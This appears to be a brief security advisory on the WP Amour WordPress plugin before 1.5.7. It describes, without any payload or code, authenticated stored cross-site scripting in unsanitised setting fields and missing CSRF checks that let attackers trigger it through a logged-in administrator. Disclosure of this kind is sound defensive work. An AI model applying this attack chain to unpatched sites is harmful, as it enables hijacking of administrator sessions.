WP Amour < 1.5.7 – Authenticated Stored Cross-Site Scripting (XSS)

Description

The plugin did not sanitise and escape its setting fields, leading to Stored Cross-Site Scripting issues. Furthermore, the lack of CSRF checks could also allow attackers to trigger the XSS via CSRF attacks against a logged in administrator
